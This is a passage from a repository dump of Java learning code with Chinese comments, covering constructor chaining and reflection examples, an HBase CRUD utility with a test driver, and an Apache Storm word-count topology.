\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/SuperTest.java",
    "content": "package com.jun.plugin.basics;\n\n/**\n * \n* @Title: SuperTest\n* @Description: super测试\n* @Version:1.0.0  \n* @author pancm\n* @date 2017-5-24\n */\npublic class SuperTest extends Person8 {\n    SuperTest() {\n        super(); // 调用父类构造函数（1）\n        prt(\"A chinese.\");// (4)\n    }\n \n    SuperTest(String name) {\n        super(name);// 调用父类具有相同形参的构造函数（2） 调用了Person中的Person(String name)方法\n        prt(\"his name is:\" + name);\n    }\n \n    SuperTest(String name, int age) {\n        this(name);// 调用当前具有相同形参的构造函数（3） 调用了SuperTest(String name)\n        prt(\"his age is:\" + age);\n    }\n \n    public static void main(String[] args) {\n        SuperTest cn = new SuperTest(); // A Person.   A chinese.\n        cn = new SuperTest(\"kevin\");    //A person name is:kevin   his name is:kevin\n        cn = new SuperTest(\"kevin\", 22);//A person name is:kevin  his name is:kevin  his age is:22\n    }\n}\n\n\nclass Person8 {\n\t \n    public static void prt(String s) {\n        System.out.println(s);\n    }\n \n    Person8() {\n        prt(\"A Person.\");\n    }\n \n    Person8(String name) {\n        prt(\"A person name is:\" + name);\n \n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/User.java",
    "content": "package com.jun.plugin.basics;\n\n/**\n * \n* @Title: User\n* @Description:\n* 反射测试实体类 \n* Version:1.0.0  \n* @author pancm\n* @date 2018年2月9日\n */\npublic class User {\n\tprivate String name;  \n    \n    //构造方法1（默认构造方法）***********************  \n    public User(){  \n          \n    }  \n    //构造方法2  \n    public User(String name){  \n        this.name=name;  \n    }  \n    //******自定义方法*************  \n    public void getMessage(){  \n        System.out.print(\"反射测试\");  \n    }  \n    \n    //******自定义方法2*************  \n    public String getMessage2(int num){  \n    \tString str=num+\"反射测试!\";\n        System.out.print(str);\n\t\treturn str;  \n    }  \n    \n    //******自定义方法3*************  \n    private String getMessage3(){  \n    \tString str=\"这是一个私有的方法!\";\n        System.out.print(str);\n\t\treturn str;  \n    }  \n    \n    \n    //******自定义方法4*************  \n    public static String getMessage4(String s){  \n    \tString str=s+\"这是一个静态的方法!\";\n        System.out.print(str);\n\t\treturn str;  \n    }  \n    \n    //******重写toString方法，在测试的时候会用到*****  \n    @Override  \n    public String toString() {  \n        return \"name:\"+this.name;  \n    }  \n    //**************************  \n    public String getName() {  \n        return name;  \n    }  \n    public void setName(String name) {  \n        this.name = name;  \n    } \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: Java 基础知识的相关代码\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月20日\n*/\npackage com.jun.plugin.basics;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/hbase/HBaseUtil.java",
    "content": "package com.jun.plugin.bigdata.hbase;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.hadoop.conf.Configuration;\nimport org.apache.hadoop.hbase.Cell;\nimport org.apache.hadoop.hbase.CellUtil;\nimport org.apache.hadoop.hbase.HBaseConfiguration;\nimport org.apache.hadoop.hbase.HColumnDescriptor;\nimport org.apache.hadoop.hbase.HTableDescriptor;\nimport org.apache.hadoop.hbase.TableName;\nimport org.apache.hadoop.hbase.client.Admin;\nimport org.apache.hadoop.hbase.client.Connection;\nimport org.apache.hadoop.hbase.client.ConnectionFactory;\nimport org.apache.hadoop.hbase.client.Delete;\nimport org.apache.hadoop.hbase.client.Get;\nimport org.apache.hadoop.hbase.client.Put;\nimport org.apache.hadoop.hbase.client.Result;\nimport org.apache.hadoop.hbase.client.ResultScanner;\nimport org.apache.hadoop.hbase.client.Scan;\nimport org.apache.hadoop.hbase.client.Table;\nimport org.apache.hadoop.hbase.util.Bytes;\n\nimport com.alibaba.fastjson.JSONObject;\n\n/**\n * \n * Title: HBaseUtil\n * Description: HBase工具类 \n * Version:1.0.0\n * @author pancm\n * @date 2017年12月6日\n */\npublic class HBaseUtil {\n\t/** hadoop 连接 */\n\tprivate static Configuration conf = null;\n\t/** hbase 连接 */\n\tprivate static Connection con = null;\n\t/** 会话 */\n\tprivate static Admin admin = null;\n\n\tprivate static String ip =\"master\";\n    private static String port =\"2181\";\n    private static String port1 =\"9001\";\n\t   \n   // 初始化连接\n   static {\n\t   // 获得配制文件对象\n       conf = HBaseConfiguration.create(); \n       // 设置配置参数\n\t\tconf.set(\"hbase.zookeeper.quorum\", ip);\n\t\tconf.set(\"hbase.zookeeper.property.clientPort\", port);  \n\t\t//如果hbase是集群，这个必须加上 \n\t\t//这个ip和端口是在hadoop/mapred-site.xml配置文件配置的\n\t\tconf.set(\"hbase.master\", ip+\":\"+port1); \n   }\n\t\t\n\n\t/**\n\t * 获取连接\n\t * \n\t * @return\n\t */\n\tpublic synchronized static Connection getConnection() {\n\t\ttry {\n\t\t\tif (null == con || con.isClosed()) {\n\t\t\t\t// 获得连接对象\n\t\t\t\tcon = ConnectionFactory.createConnection(conf);\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\tSystem.out.println(\"获取连接失败!\");\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\treturn con;\n\t}\n\n\t/**\n\t * 连接关闭\n\t */\n\tpublic static void close() {\n\t\ttry {\n\t\t\tif (admin != null) {\n\t\t\t\tadmin.close();\n\t\t\t}\n\t\t\tif (con != null) {\n\t\t\t\tcon.close();\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\tSystem.out.println(\"连接关闭失败！\");\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t/**\n\t * 创建表\n\t * \n\t * @param tableName\n\t *            表名\n\t * @param columnFamily\n\t *            列族\n\t */\n\tpublic static void creatTable(String tableName, String[] columnFamily) {\n\t\tif(null==tableName||tableName.length()==0){\n\t\t\treturn;\n\t\t}\n\t\tif(null==columnFamily||columnFamily.length==0){\n\t\t\treturn;\n\t\t}\n\t\t// 创建表名对象\n\t\tTableName tn = TableName.valueOf(tableName);\n\t\t// a.判断数据库是否存在\n\t\ttry {\n\t\t\t// 获取会话\n\t\t\tadmin = getConnection().getAdmin();\n\t\t\tif (admin.tableExists(tn)) {\n\t\t\t\tSystem.out.println(tableName + \" 表存在，删除表....\");\n\t\t\t\t// 先使表设置为不可编辑\n\t\t\t\tadmin.disableTable(tn);\n\t\t\t\t// 删除表\n\t\t\t\tadmin.deleteTable(tn);\n\t\t\t\tSystem.out.println(\"表删除成功.....\");\n\t\t\t}\n\t\t\t// 创建表结构对象\n\t\t\tHTableDescriptor htd = new HTableDescriptor(tn);\n\t\t\tfor (String str : columnFamily) {\n\t\t\t\t// 创建列族结构对象\n\t\t\t\tHColumnDescriptor hcd = new HColumnDescriptor(str);\n\t\t\t\thtd.addFamily(hcd);\n\t\t\t}\n\t\t\t// 创建表\n\t\t\tadmin.createTable(htd);\n\t\t\tSystem.out.println(tableName + \" 表创建成功！\");\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tclose();\n\t\t}\n\t}\n\n\t/**\n\t * 数据单条插入或更新\n\t * \n\t * @param tableName\n\t *            表名\n\t * @param rowKey\n\t *            行健 (主键)\n\t * @param family\n\t *            列族\n\t * @param qualifier\n\t *            列\n\t * @param value\n\t *            存入的值\n\t * @return\n\t */\n\tpublic static void insert(String tableName, String rowKey, String family,\n\t\t\tString qualifier, String value) {\n\t\tTable t = null;\n\t\ttry {\n\t\t\tt = getConnection().getTable(TableName.valueOf(tableName));\n\t\t\tPut put = new Put(Bytes.toBytes(rowKey));\n\t\t\tput.addColumn(Bytes.toBytes(family), Bytes.toBytes(qualifier),\n\t\t\t\t\tBytes.toBytes(value));\n\t\t\tt.put(put);\n\t\t\tSystem.out.println(tableName + \" 更新成功!\");\n\t\t} catch (IOException e) {\n\t\t\tSystem.out.println(tableName + \" 更新失败!\");\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tclose();\n\t\t}\n\t}\n\n\t/**\n\t * 数据批量插入或更新\n\t * \n\t * @param tableName\n\t *            表名\n\t * @param list\n\t *            hbase的数据 \n\t * @return\n\t */\n\tpublic static void insertBatch(String tableName, List<?> list) {\n\t\tif (null == tableName ||tableName.length()==0) {\n\t\t\treturn;\n\t\t}\n\t\tif( null == list || list.size() == 0){\n\t\t\treturn;\n\t\t}\n\t\tTable t = null;\n\t\tPut put = null;\n\t\tJSONObject json = null;\n\t\tList<Put> puts = new ArrayList<Put>();\n\t\ttry {\n\t\t\tt = getConnection().getTable(TableName.valueOf(tableName));\n\t\t\tfor (int i = 0, j = list.size(); i < j; i++) {\n\t\t\t\tjson = (JSONObject) list.get(i);\n\t\t\t\tput = new Put(Bytes.toBytes(json.getString(\"rowKey\")));\n\t\t\t\tput.addColumn(Bytes.toBytes(json.getString(\"family\")),\n\t\t\t\t\t\tBytes.toBytes(json.getString(\"qualifier\")),\n\t\t\t\t\t\tBytes.toBytes(json.getString(\"value\")));\n\t\t\t\tputs.add(put);\n\t\t\t}\n\t\t\tt.put(puts);\n\t\t\tSystem.out.println(tableName + \" 更新成功!\");\n\t\t} catch (IOException e) {\n\t\t\tSystem.out.println(tableName + \" 更新失败!\");\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tclose();\n\t\t}\n\t}\n\t\n\t/**\n\t * 数据删除 \n\t * @param tableName 表名\n\t * @param rowKey\t行健\n\t * @return\n\t */\n    public static void delete(String tableName, String rowKey) {\n    \tdelete(tableName,rowKey,\"\",\"\");\n    }\n\t\n\t/**\n\t * 数据删除 \n\t * @param tableName 表名\n\t * @param rowKey\t行健\n\t * @param family\t列族\n\t * @return\n\t */\n    public static void delete(String tableName, String rowKey, String family) {\n    \tdelete(tableName,rowKey,family,\"\");\n    }\n\t\n\t/**\n\t * 数据删除 \n\t * @param tableName 表名\n\t * @param rowKey\t行健\n\t * @param family\t列族\n\t * @param qualifier 列\n\t * @return\n\t */\n    public static void delete(String tableName, String rowKey, String family,\n            String qualifier) {\n    \tif (null == tableName ||tableName.length()==0) {\n\t\t\treturn;\n\t\t}\n\t\tif( null == rowKey || rowKey.length() == 0){\n\t\t\treturn;\n\t\t}\n    \tTable t = null;\n        try {\n            t = getConnection().getTable(TableName.valueOf(tableName));\n            Delete del = new Delete(Bytes.toBytes(rowKey));\n            // 如果列族不为空\n \t\t\tif (null != family && family.length() > 0) {\n \t\t\t\t// 如果列不为空\n \t\t\t\tif (null != qualifier && qualifier.length() > 0) {\n \t\t\t\t\tdel.addColumn(Bytes.toBytes(family),\n \t\t\t\t\t\t\tBytes.toBytes(qualifier));\n \t\t\t\t} else {\n \t\t\t\t\tdel.addFamily(Bytes.toBytes(family));\n \t\t\t\t}\n \t\t\t}      \n            t.delete(del);    \n        } catch (IOException e) {\n        \tSystem.out.println(\"删除失败!\");\n            e.printStackTrace();\n        } finally {\n          close();\n        }\n    }\n\t\n\t/**\n\t * 查询该表中的所有数据\n\t * \n\t * @param tableName\n\t *            表名\n\t */\n\tpublic static void select(String tableName) {\n\t\tif(null==tableName||tableName.length()==0){\n\t\t\treturn;\n\t\t}\n\t\tTable t = null;\n\t\tList<Map<String,Object>> list=new ArrayList<Map<String,Object>>();\n\t\ttry {\n\t\t\tt = getConnection().getTable(TableName.valueOf(tableName));\n\t\t\t// 读取操作\n\t\t\tScan scan = new Scan();\n\t\t\t// 得到扫描的结果集\n\t\t\tResultScanner rs = t.getScanner(scan);\n\t\t\tif (null == rs ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tfor (Result result : rs) {\n\t\t\t\t// 得到单元格集合\n\t\t\t\tList<Cell> cs = result.listCells();\n\t\t\t\tif (null == cs || cs.size() == 0) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tfor (Cell cell : cs) {\n\t\t\t\t\tMap<String,Object> map=new HashMap<String, Object>();\n\t\t\t\t\tmap.put(\"rowKey\", Bytes.toString(CellUtil.cloneRow(cell)));// 取行健\n\t\t\t\t\tmap.put(\"timestamp\", cell.getTimestamp());// 取到时间戳\n\t\t\t\t\tmap.put(\"family\", Bytes.toString(CellUtil.cloneFamily(cell)));// 取到列族\n\t\t\t\t\tmap.put(\"qualifier\", Bytes.toString(CellUtil.cloneQualifier(cell)));// 取到列\n\t\t\t\t\tmap.put(\"value\", Bytes.toString(CellUtil.cloneValue(cell)));// 取到值\n\t\t\t\t\tlist.add(map);\n\t\t\t\t}\n\t\t\t}\n\t\t\tSystem.out.println(\"查询的数据:\"+list);\n\t\t} catch (IOException e) {\n\t\t\tSystem.out.println(\"查询失败!\");\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tclose();\n\t\t}\n\t}\n\n\t/**\n\t * 根据表名和行健查询\n\t * @param tableName\n\t * @param rowKey\n\t */\n\tpublic static void select(String tableName, String rowKey) {\n\t\tselect(tableName,rowKey,\"\",\"\");\n\t}\n\t\n\t/**\n\t * 根据表名、行健和列族查询\n\t * @param tableName\n\t * @param rowKey\n\t * @param family\n\t */\n\tpublic static void select(String tableName, String rowKey, String family) {\n\t\tselect(tableName,rowKey,family,\"\");\n\t}\n\t\n\t/**\n\t * 根据条件明细查询\n\t * \n\t * @param tableName\n\t *            表名\n\t * @param rowKey\n\t *            行健 (主键)\n\t * @param family\n\t *            列族\n\t * @param qualifier\n\t *            列\n\t */\n\tpublic static void select(String tableName, String rowKey, String family,\n\t\t\tString qualifier) {\n\t\tTable t = null;\n\t\tList<Map<String,Object>> list=new ArrayList<Map<String,Object>>();\n\t\ttry {\n\t\t\tt = getConnection().getTable(TableName.valueOf(tableName));\n\t\t\t// 通过HBase中的 get来进行查询\n\t\t\tGet get = new Get(Bytes.toBytes(rowKey));\n\t\t\t// 如果列族不为空\n\t\t\tif (null != family && family.length() > 0) {\n\t\t\t\t// 如果列不为空\n\t\t\t\tif (null != qualifier && qualifier.length() > 0) {\n\t\t\t\t\tget.addColumn(Bytes.toBytes(family),\n\t\t\t\t\t\t\tBytes.toBytes(qualifier));\n\t\t\t\t} else {\n\t\t\t\t\tget.addFamily(Bytes.toBytes(family));\n\t\t\t\t}\n\t\t\t}\n\t\t\tResult r = t.get(get);\n\t\t\tList<Cell> cs = r.listCells();\n\t\t\tif (null == cs || cs.size() == 0) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tfor (Cell cell : cs) {\n\t\t\t\tMap<String,Object> map=new HashMap<String, Object>();\n\t\t\t\tmap.put(\"rowKey\", Bytes.toString(CellUtil.cloneRow(cell)));// 取行健\n\t\t\t\tmap.put(\"timestamp\", cell.getTimestamp());// 取到时间戳\n\t\t\t\tmap.put(\"family\", Bytes.toString(CellUtil.cloneFamily(cell)));// 取到列族\n\t\t\t\tmap.put(\"qualifier\", Bytes.toString(CellUtil.cloneQualifier(cell)));// 取到列\n\t\t\t\tmap.put(\"value\", Bytes.toString(CellUtil.cloneValue(cell)));// 取到值\n\t\t\t\tlist.add(map);\n\t\t\t}\n\t\t\tSystem.out.println(\"查询的数据:\"+list);\n\t\t} catch (IOException e) {\n\t\t\tSystem.out.println(\"查询失败!\");\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tclose();\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/hbase/HbaseTest.java",
    "content": "package com.jun.plugin.bigdata.hbase;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport com.alibaba.fastjson.JSONObject;\n/**\n * \n* Title: hbaseTest\n* Description: HBase 相关测试\n* Version:1.0.0  \n* @author pancm\n* @date 2017年11月23日\n */\npublic class HbaseTest {\n\t\n\tpublic static void main(String[] args) {\n\t\ttest();\n\t}\n\n\t/**\n\t * 一些测试\n\t */\n\tprivate static void test() {\n\t\tString tableName1=\"t_student\",tableName2=\"t_student_info\";\n\t\tString []columnFamily1={\"st1\",\"st2\"};\n\t\tString []columnFamily2={\"stf1\",\"stf2\"};\n\t\tHBaseUtil.creatTable(tableName1, columnFamily1);\n\t\tHBaseUtil.creatTable(tableName2, columnFamily2);\n\t\t\n\t\tHBaseUtil.insert(tableName1, \"1001\", columnFamily1[0], \"name\", \"zhangsan\");\n\t\tHBaseUtil.insert(tableName1, \"1002\", columnFamily1[0], \"name\", \"lisi\");\n\t\tHBaseUtil.insert(tableName1, \"1001\", columnFamily1[1], \"age\", \"18\");\n\t\tHBaseUtil.insert(tableName1, \"1002\", columnFamily1[1], \"age\", \"20\");\n\t\t\n\t\tHBaseUtil.insert(tableName2, \"1001\", columnFamily2[0], \"phone\", \"123456\");\n\t\tHBaseUtil.insert(tableName2, \"1002\", columnFamily2[0], \"phone\", \"234567\");\n\t\tHBaseUtil.insert(tableName2, \"1001\", columnFamily2[1], \"mail\", \"123@163.com\");\n\t\tHBaseUtil.insert(tableName2, \"1002\", columnFamily2[1], \"mail\", \"234@163.com\");\n\t\t\n\t\tHBaseUtil.select(tableName1); //查询该表所有数据\n\t\tHBaseUtil.select(tableName1, \"1001\"); //根据表名和行健查询\n\t\tHBaseUtil.select(tableName2, \"1002\",columnFamily2[0]); //根据表名、行健和列族查询\n\t\tHBaseUtil.select(tableName2, \"1002\",columnFamily2[1],\"mail\"); //根据表名、行健、列族、和列查询\n\t\t\n\t\tHBaseUtil.select(tableName1, \"1002\"); //根据表名和行健查询\n\t\tHBaseUtil.delete(tableName1, \"1002\", columnFamily1[0]);//删除数据\n\t\tHBaseUtil.select(tableName1, \"1002\"); //根据表名和行健查询\n\t\t\n\t}\n\t\n\n  \n\t\n\t\n\t\n\t/**\n    * 批量测试方法\n    * @param tableName  表名\n    * @param family  列族\n    * @param qualifier  列\n    * @param value  值\n    * @param k\t\t           次数\n    */\n   public static void insterTest(String tableName,String family,String qualifier,String value, int k){\n\t   List<JSONObject> list =new ArrayList<>();\n\t\tfor(int i=1;i<=k;i++){\n\t\t\tJSONObject json =new JSONObject();\n\t\t\tjson.put(\"rowKey\", i);              //行健\n\t\t\tjson.put(\"family\", family);\t \t\t //列族\n\t\t\tjson.put(\"qualifier\", qualifier);\t\t //列\n\t\t\tif(\"t_student\".equals(tableName)){ //如果是t_student 姓名则加上编号\n\t\t\t\tjson.put(\"value\", value+i);\t//值\n\t\t\t}else if(\"\".equals(value)){\t\t //如果为空，则是年龄\t\n\t\t\t\tjson.put(\"value\", i);\t//值\n\t\t\t}else{\t\t\t\t\t\t\t  //否则就是性别\n\t\t\t\tjson.put(\"value\", value);\t//值\n\t\t\t}\n\t\t\n\t\t\tlist.add(json);\n\t\t}\n\t\tHBaseUtil.insertBatch(tableName,list);\n   }\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/hbase/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: hbase相关的代码\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月21日\n*/\npackage com.jun.plugin.bigdata.hbase;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 大数据相关代码\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月20日\n*/\npackage com.jun.plugin.bigdata;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/example/WordCountApp.java",
    "content": "package com.jun.plugin.bigdata.storm.example;\n\nimport org.apache.storm.Config;\nimport org.apache.storm.LocalCluster;\nimport org.apache.storm.StormSubmitter;\nimport org.apache.storm.generated.AlreadyAliveException;\nimport org.apache.storm.generated.AuthorizationException;\nimport org.apache.storm.generated.InvalidTopologyException;\nimport org.apache.storm.generated.StormTopology;\nimport org.apache.storm.topology.TopologyBuilder;\nimport org.apache.storm.tuple.Fields;\n\n \n\n/**\n * \n* Title: WordCountApp\n* Description: 测试storm本地模式 统计words单次个数\n* 源代码地址:http://www.tianshouzhi.com/api/tutorials/storm/54\n* Version:1.0.0  \n* @author pancm\n* @date 2017年12月28日\n */\npublic class WordCountApp {\n    public static void main(String[] args) throws InterruptedException, AlreadyAliveException, InvalidTopologyException {\n    \t//定义拓扑\n        TopologyBuilder builder = new TopologyBuilder();\n        builder.setSpout(\"word-reader\" , new WordReader());\n        builder.setBolt(\"word-normalizer\" , new WordNormalizer()).shuffleGrouping(\"word-reader\" );\n        builder.setBolt(\"word-counter\" , new WordCounter()).fieldsGrouping(\"word-normalizer\" , new Fields(\"word\"));\n        StormTopology topology = builder.createTopology();\n        //配置\n        \n        Config conf = new Config();\n        String fileName =\"words.txt\" ;\n        conf.put(\"fileName\" , fileName );\n        conf.setDebug(false);\n \n         //运行拓扑\n         System.out.println(\"开始...\");\n         if(args !=null&&args.length>0){ //有参数时，表示向集群提交作业，并把第一个参数当做topology名称\n        \t System.out.println(\"远程模式\");\n             try {\n\t\t\t\tStormSubmitter.submitTopology(args[0], conf, topology);\n\t\t\t} catch (AuthorizationException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n       } else{//没有参数时，本地提交\n         //启动本地模式\n    \t System.out.println(\"本地模式\");\n         LocalCluster cluster = new LocalCluster();\n         cluster.submitTopology(\"Getting-Started-Topologie\" , conf , topology );\n         Thread.sleep(5000);\n         //关闭本地集群\n         cluster.shutdown();\n       }\n         System.out.println(\"结束\");\n       \n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/example/WordCounter.java",
    "content": "package com.jun.plugin.bigdata.storm.example;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.storm.task.OutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.IRichBolt;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.tuple.Tuple;\n\n/**\n * \n* Title: WordCounter\n* Description: 该类主要用于统计\n* Version:1.0.0  \n* @author pancm\n* @date 2017年12月28日\n */\npublic class WordCounter implements IRichBolt {\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\tInteger id;\n\tString name;\n\tMap<String, Integer> counters;\n\tprivate OutputCollector collector;\n\n\t/**\n\t * 当Bolt销毁时，我们会显示单词数量\n\t */\n\t@Override\n\tpublic void cleanup() {\n\t\t System.out.println(\"开始显示单词数量...\");\n\t\tfor (Map.Entry<String, Integer> entry : counters.entrySet()) {\n\t\t\tSystem.out.println(entry.getKey() + \": \" + entry.getValue());\n\t\t}\n\t\tSystem.out.println(\"WordCounter.cleanup()\");\n\t}\n\n\t/**\n\t * 为每个单词计数\n\t */\n\t@Override\n\tpublic void execute(Tuple input) {\n\t\tSystem.out.println(\"WordCounter.execute()\");\n\t\tString str = input.getString(0);\n\t\t/**\n\t\t * 如果单词尚不存在于map，我们就创建一个，如果已在，我们就为它加1\n\t\t */\n\t\tif (!counters.containsKey(str)) {\n\t\t\tcounters.put(str, 1);\n\t\t} else {\n\t\t\tInteger c = counters.get(str) + 1;\n\t\t\tcounters.put(str, c);\n\t\t}\n\t\t// 对元组作为应答\n\t\tcollector.ack(input);\n\t}\n\n\t/**\n\t * 初始化\n\t */\n\t@Override\n\tpublic void prepare(Map stormConf, TopologyContext context,\n\t\t\tOutputCollector collector) {\n\t\tthis.counters = new HashMap<String, Integer>();\n\t\tthis.collector = collector;\n\t\tthis.name = context.getThisComponentId();\n\t\tthis.id = context.getThisTaskId();\n\t}\n\n\t@Override\n\tpublic void declareOutputFields(OutputFieldsDeclarer declarer) {\n\t\tSystem.out.println(\"WordCounter.declareOutputFields()\");\n\t}\n\n\t@Override\n\tpublic Map<String, Object> getComponentConfiguration() {\n\t\tSystem.out.println(\"WordCounter.getComponentConfiguration()\");\n\t\treturn null;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/example/WordNormalizer.java",
    "content": "package com.jun.plugin.bigdata.storm.example;\n\nimport java.util.Map;\n\nimport org.apache.storm.task.OutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.IRichBolt;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.tuple.Fields;\nimport org.apache.storm.tuple.Tuple;\nimport org.apache.storm.tuple.Values;\n\n\n/**\n * \n* Title: WordNormalizer\n* Description:该类主要用于格式化数据 \n* Version:1.0.0  \n* @author pancm\n* @date 2017年12月28日\n */\npublic class WordNormalizer implements IRichBolt {\n\t/**\n       *\n       */\n\tprivate static final long serialVersionUID = 3644849073824009317L;\n\tprivate OutputCollector collector;\n\tprivate static int count=1;\n\n\t/**\n\t * *bolt*从单词文件接收到文本行，并标准化它。 文本行会全部转化成小写，并切分它，从中得到所有单词。\n\t */\n\tpublic void execute(Tuple input) {\n\t\tSystem.out.println(\"WordNormalizer.execute()执行次数:\"+count);\n\t\tString sentence = input.getString(0);\n\t\tString[] words = sentence.split(\" \");\n\t\tfor (String word : words) {\n\t\t\tword = word.trim();\n\t\t\tif (!word.isEmpty()) {\n\t\t\t\tword = word.toLowerCase();\n\t\t\t\t/* //发布这个单词 */\n\t\t\t\tcollector.emit(input, new Values(word));\n\t\t\t}\n\t\t}\n\t\t// 对元组做出应答\n\t\tcollector.ack(input);\n\t\tcount++;\n\t}\n\n\tpublic void prepare(Map stormConf, TopologyContext context,\n\t\t\tOutputCollector collector) {\n\t\tSystem.out.println(\"WordNormalizer.prepare()\");\n\t\tthis.collector = collector;\n\t}\n\n\t/**\n\t * 这个*bolt*只会发布“word”域\n\t */\n\tpublic void declareOutputFields(OutputFieldsDeclarer declarer) {\n\t\tSystem.out.println(\"WordNormalizer.declareOutputFields()\");\n\t\tdeclarer.declare(new Fields(\"word\"));\n\t}\n\n\t@Override\n\tpublic Map<String, Object> getComponentConfiguration() {\n\t\tSystem.out.println(\"WordNormalizer.getComponentConfiguration()\");\n\t\treturn null;\n\t}\n\n\tpublic void cleanup() {\n\t\tSystem.out.println(\"WordNormalizer.cleanup()\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/example/WordReader.java",
    "content": "package com.jun.plugin.bigdata.storm.example;\n\nimport java.io.BufferedReader;\nimport java.io.FileReader;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.util.Map;\n\nimport org.apache.storm.spout.SpoutOutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.IRichSpout;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.tuple.Fields;\nimport org.apache.storm.tuple.Values;\n\n\n/**\n * \n* Title: WordReader\n* Description: 该类主要用于从外部数据源words.txt中获取数据\n* Version:1.0.0  \n* @author pancm\n* @date 2017年12月28日\n */\npublic class WordReader implements IRichSpout {\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 6146631397258548505L;\n\tprivate SpoutOutputCollector collector;\n\tprivate FileReader fileReader;\n\tBufferedReader reader;\n\tprivate boolean completed = false;\n\n\t/**\n\t * 这个方法做的惟一一件事情就是分发文件中的文本行\n\t */\n\tpublic void nextTuple() {\n\t\t/**\n\t\t * 这个方法会不断的被调用，直到整个文件都读完了，我们将等待并返回。\n\t\t */\n\t\tif (completed) {\n\t\t\ttry {\n\t\t\t\tThread.sleep(1000);\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\t// 什么也不做\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t\tString str;\n\n\t\ttry {\n\t\t\tint i = 0;\n\t\t\t// 读所有文本行\n\t\t\twhile ((str = reader.readLine()) != null) {\n\t\t\t\tSystem.out.println(\"WordReader.nextTuple(),emits time:\" + i++);\n\t\t\t\t/**\n\t\t\t\t * 按行发布一个新值\n\t\t\t\t */\n\t\t\t\tthis.collector.emit(new Values(str), str);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(\"Error reading tuple\", e);\n\t\t} finally {\n\t\t\tcompleted = true;\n\t\t}\n\t}\n\n\t/**\n\t * \n\t * 当Spout被创建之后，这个方法会被掉用\n\t */\n\tpublic void open(Map conf, TopologyContext context,\n\t\t\tSpoutOutputCollector collector) {\n\n\t\tSystem.out.println(\"WordReader.open(Map conf, TopologyContext context, SpoutOutputCollector collector)\");\n\t\tString fileName = conf.get(\"fileName\").toString();\n\t\tInputStream inputStream = WordReader.class.getClassLoader()\n\t\t\t\t.getResourceAsStream(fileName);\n\t\treader = new BufferedReader(new InputStreamReader(inputStream));\n\t\tthis.collector = collector;\n\t}\n\n\t/**\n\t * 声明数据格式，即输出的一个Tuple中，包含几个字段\n\t */\n\tpublic void declareOutputFields(OutputFieldsDeclarer declarer) {\n\t\tSystem.out\n\t\t\t\t.println(\"WordReader.declareOutputFields(OutputFieldsDeclarer declarer)\");\n\t\tdeclarer.declare(new Fields(\"line\"));\n\t}\n\n\t@Override\n\tpublic void activate() {\n\t\tSystem.out.println(\"WordReader.activate()\");\n\t}\n\n\t@Override\n\tpublic void deactivate() {\n\t\tSystem.out.println(\"WordReader.deactivate()\");\n\t}\n\n\t@Override\n\tpublic Map<String, Object> getComponentConfiguration() {\n\t\tSystem.out.println(\"WordReader.getComponentConfiguration()\");\n\t\treturn null;\n\t}\n\n\t/**\n\t * 当一个Tuple处理成功时，会调用这个方法\n\t */\n\tpublic void ack(Object msgId) {\n\t\tSystem.out.println(\"WordReader.ack(Object msgId):\" + msgId);\n\t}\n\n\t/**\n\t * 当Topology停止时，会调用这个方法\n\t */\n\tpublic void close() 